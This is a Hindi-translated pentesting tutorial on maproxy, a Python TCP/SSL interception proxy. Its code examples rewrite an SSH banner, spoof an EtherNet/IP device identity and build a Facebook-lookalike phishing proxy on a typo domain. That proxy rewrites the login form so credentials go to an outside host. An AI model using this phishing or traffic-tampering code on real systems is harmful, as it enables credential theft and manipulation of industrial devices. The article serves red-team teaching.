👩‍👩‍👧‍👧 👩‍🎓 🧜🏻 मक्खी पर नेटवर्क डाटा प्रोसेसिंग 🚻 🐎 🙆🏻

पेंटेस्ट की शुरुआत से पहले लेख का अनुवाद तैयार किया गया था । प्रवेश परीक्षण अभ्यास । "

टिप्पणी

नियमित प्रवेश परीक्षण और रेड टीम के संचालन से लेकर IoT / ICS उपकरणों और SCADA को हैक करने तक, विभिन्न प्रकार के सुरक्षा आकलन, का अर्थ है बाइनरी नेटवर्क प्रोटोकॉल के साथ काम करना, अर्थात, क्लाइंट और लक्ष्य के बीच नेटवर्क डेटा को इंटरसेप्ट करना और संशोधित करना। नेटवर्क ट्रैफ़िक को सूँघना कोई मुश्किल काम नहीं है, क्योंकि हमारे पास Wireshark, Tcpdump या Scapy जैसे उपकरण हैं, लेकिन संशोधन अधिक समय लेने वाला लगता है, क्योंकि हमें नेटवर्क डेटा पढ़ने, इसे छानने, इसे मक्खी पर बदलने और वापस भेजने के लिए एक अद्वितीय इंटरफ़ेस की आवश्यकता होगी। लगभग वास्तविक समय में लक्ष्य होस्ट करने के लिए। इसके अलावा, यह आदर्श होगा यदि ऐसा उपकरण स्वचालित रूप से कई समानांतर कनेक्शन के साथ काम कर सकता है और इसमें स्क्रिप्ट का उपयोग करके अनुकूलित करने की क्षमता थी।

एक बार जब मुझे एक टूल का पता चला maproxy, तो डॉक्यूमेंटेशन ने मुझे तुरंत maproxyबता दिया कि - बस मुझे क्या चाहिए। यह टीसीपी प्रॉक्सी को कॉन्फ़िगर करने के लिए काफी सरल, बहुमुखी और आसान है। मैंने इस उपकरण का कई जटिल अनुप्रयोगों पर परीक्षण किया, जिसमें आईसीएस डिवाइस (जो कई पैकेज उत्पन्न करता है) शामिल हैं, यह पता लगाने के लिए कि क्या यह कई समानांतर कनेक्शन के साथ काम कर सकता है, और उपकरण ने अच्छा प्रदर्शन किया।

यह लेख आपको मक्खी के साथ नेटवर्क डेटा के प्रसंस्करण से परिचित कराएगा maproxy।

अवलोकन

उपकरण maproxyटोरनेडो पर आधारित है, जो एक लोकप्रिय और अच्छी तरह से विकसित अतुल्यकालिक पायथन नेटवर्क फ्रेमवर्क है।

सामान्य तौर पर, यह कई मोड में काम कर सकता है:

TCP:TCP - अनएन्क्रिप्टेड टीसीपी कनेक्शन;
TCP:SSLऔर SSL:TCP- वन-वे एन्क्रिप्शन के साथ;
SSL:SSL - टू-वे एन्क्रिप्शन।

यह एक पुस्तकालय के रूप में आता है। त्वरित शुरुआत के लिए आप नमूना फ़ाइलों का उपयोग कर सकते हैं जो पुस्तकालय के मुख्य कार्यों को दर्शाती हैं :

all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py

केस 1 - सरल द्विदिश प्रॉक्सी

के आधार पर tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

डिफ़ॉल्ट रूप से, यह ProxyServer()दो तर्क लेता है - कनेक्शन स्थान और गंतव्य पोर्ट। server.listen()एक तर्क लेता है - आने वाले कनेक्शन को सुनने के लिए पोर्ट।

स्क्रिप्ट निष्पादन:

# python tcp2tcp.py

परीक्षण का संचालन करने के लिए, हम अपने प्रॉक्सी स्क्रिप्ट के माध्यम से स्थानीय एसएसएच सर्वर से कनेक्ट करने जा रहे हैं, जो 2222/tcpपोर्ट पर सुनता है और मानक 22/tcpएसएसएच सर्वर पोर्ट से जोड़ता है :

एक स्वागत बैनर हमें सूचित करता है कि हमारी नमूना स्क्रिप्ट सफलतापूर्वक नेटवर्क ट्रैफ़िक का संकेत देती है।

केस 2 - डेटा संशोधन

logging_proxy.pyनेटवर्क डेटा के साथ बातचीत के लिए एक और डेमो स्क्रिप्ट आदर्श है। फ़ाइल में टिप्पणी वर्ग विधियों का वर्णन करती है जिन्हें आप अपने लक्ष्य को प्राप्त करने के लिए संशोधित कर सकते हैं:

यहां सबसे दिलचस्प:

on_c2p_done_read - क्लाइंट से सर्वर तक के रास्ते पर डेटा को इंटरसेप्ट करने के लिए;
on_p2s_done_read - उलट।

आइए SSH बैनर को बदलने की कोशिश करें जो सर्वर क्लाइंट को देता है:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

स्क्रिप्ट को चलाएं:

जैसा कि आप देख सकते हैं, क्लाइंट को गुमराह किया गया था, क्योंकि इसके लिए SSH सर्वर का नाम बदल दिया गया था «DumnySSH»।

केस 3 - साधारण फ़िशिंग वेब पेज

इस उपकरण के लिए अनंत संख्या में उपयोग हैं। इस बार, रेड टीम संचालन क्षेत्र से कुछ और अधिक व्यावहारिक पर ध्यान दें। m.facebook.comउदाहरण के लिए, हम लैंडिंग की नकल करते हैं , और जानबूझकर टाइपो के साथ कस्टम डोमेन का उपयोग करते हैं m.facebok.com। प्रदर्शन उद्देश्यों के लिए, बस मान लें कि डोमेन हमारे द्वारा पंजीकृत है।

हम फेसबुक सर्वर के लिए हमारे पीड़ित प्रॉक्सी और एसएसएल स्ट्रीम के साथ एक अनएन्क्रिप्टेड नेटवर्क कनेक्शन स्थापित करने जा रहे हैं 31.13.81.36। इस उदाहरण को काम करने के लिए, हमें HTTP होस्ट हेडर को बदलने और सही होस्ट नाम को लागू करने की आवश्यकता है, और हम उनकी सामग्री तक आसान पहुंच प्राप्त करने के लिए प्रतिक्रिया संपीड़न को भी अक्षम करेंगे। अंत में, हम HTML फॉर्म को बदल देंगे, ताकि फेसबुक सर्वर के बजाय लॉगिन क्रेडेंशियल हमें भेजे जाएं:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action=\"/login/", "action=\"https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

अंत में:

जैसा कि आप देख सकते हैं, हम मूल साइट को सफलतापूर्वक बदलने में सक्षम थे।

केस 4 - ईथरनेट / आईपी पोर्ट

मैं काफी समय से औद्योगिक उपकरणों और सॉफ्टवेयर (ICS / SCADA) के साथ काम कर रहा हूं, जैसे कि प्रोग्रामेबल कंट्रोलर (PLC), I / O मॉड्यूल, ड्राइव, रिले, लैडर प्रोग्रामिंग वातावरण और बहुत कुछ। यह मामला उन लोगों के लिए है जो औद्योगिक सामान पसंद करते हैं। ऐसे समाधानों को हैक करने में नेटवर्क प्रोटोकॉल के साथ एक सक्रिय गेम शामिल है। निम्नलिखित उदाहरण में, मैं यह दिखाना चाहूंगा कि आप ICS / SCADA नेटवर्क ट्रैफ़िक को कैसे संशोधित कर सकते हैं।

ऐसा करने के लिए, आपको निम्नलिखित की आवश्यकता होगी:

नेटवर्क स्निफ़र, उदाहरण के लिए, विरेशर;
ईथरनेट / आईपी या सिर्फ एक एसआईपी डिवाइस, आप इसे शोडान सेवा का उपयोग करके पा सकते हैं;
हमारी लिपि आधारित है maproxy।

आरंभ करने के लिए, आइए देखें कि एक विशिष्ट CIP (सामान्य औद्योगिक प्रोटोकॉल) पहचान प्रतिक्रिया क्या है:

डिवाइस पहचान ईथरनेट / IP का उपयोग करके की जाती है, जो औद्योगिक अनुप्रयोगों के लिए ईथरनेट का एक विस्तारित संस्करण है, यह CIP जैसे नियंत्रण प्रोटोकॉल को लपेटता है। हम हाइलाइट किए गए पहचान नाम को बदलने जा रहे हैं, जिसे हमारी प्रॉक्सी स्क्रिप्ट का उपयोग करके "एनआई-इंडकॉम फॉर ईथरनेट" के स्क्रीनशॉट में देखा जा सकता है । हम स्क्रिप्ट का पुन: उपयोग कर सकते हैं logging_proxy.pyऔर इसी तरह कक्षा पद्धति को संशोधित on_p2s_done_readकर सकते हैं, क्योंकि हम चाहते हैं कि क्लाइंट पर एक अलग पहचान नाम दिखाई दे।

कोड:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'\x0c\x00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

वास्तव में, हमने डिवाइस पहचान के लिए दो बार पूछा, दूसरा जवाब मूल है, और पहले मक्खी पर संशोधित किया गया था।

और आखरी बात

मेरी राय में, एक maproxyसुविधाजनक और सरल उपकरण जिसे पायथन में भी लिखा गया है, इसलिए मेरा मानना है कि आप इसके उपयोग से भी लाभ उठा सकते हैं। बेशक, वहाँ प्रसंस्करण और नेटवर्क डेटा को बदलने के लिए और अधिक परिष्कृत उपकरण हैं, लेकिन वे भी अधिक ध्यान देने की जरूरत है और आमतौर पर उदाहरण के लिए, एक विशिष्ट उपयोग के लिए बनाई गई हैं, Muraena , Modlishka या evilginx तीसरे, या करने के लिए इसी तरह के मामलों के लिए canape पिछले मामले के लिए। एक तरीका या दूसरा, मदद से maproxyआप नेटवर्क डेटा को अवरोधन के लिए अपने विचारों को जल्दी से महसूस कर सकते हैं, क्योंकि स्क्रिप्ट के उदाहरण बहुत स्पष्ट हैं।

Windows AD में प्रमाणीकरण तंत्र का परीक्षण

मक्खी पर नेटवर्क डाटा प्रोसेसिंग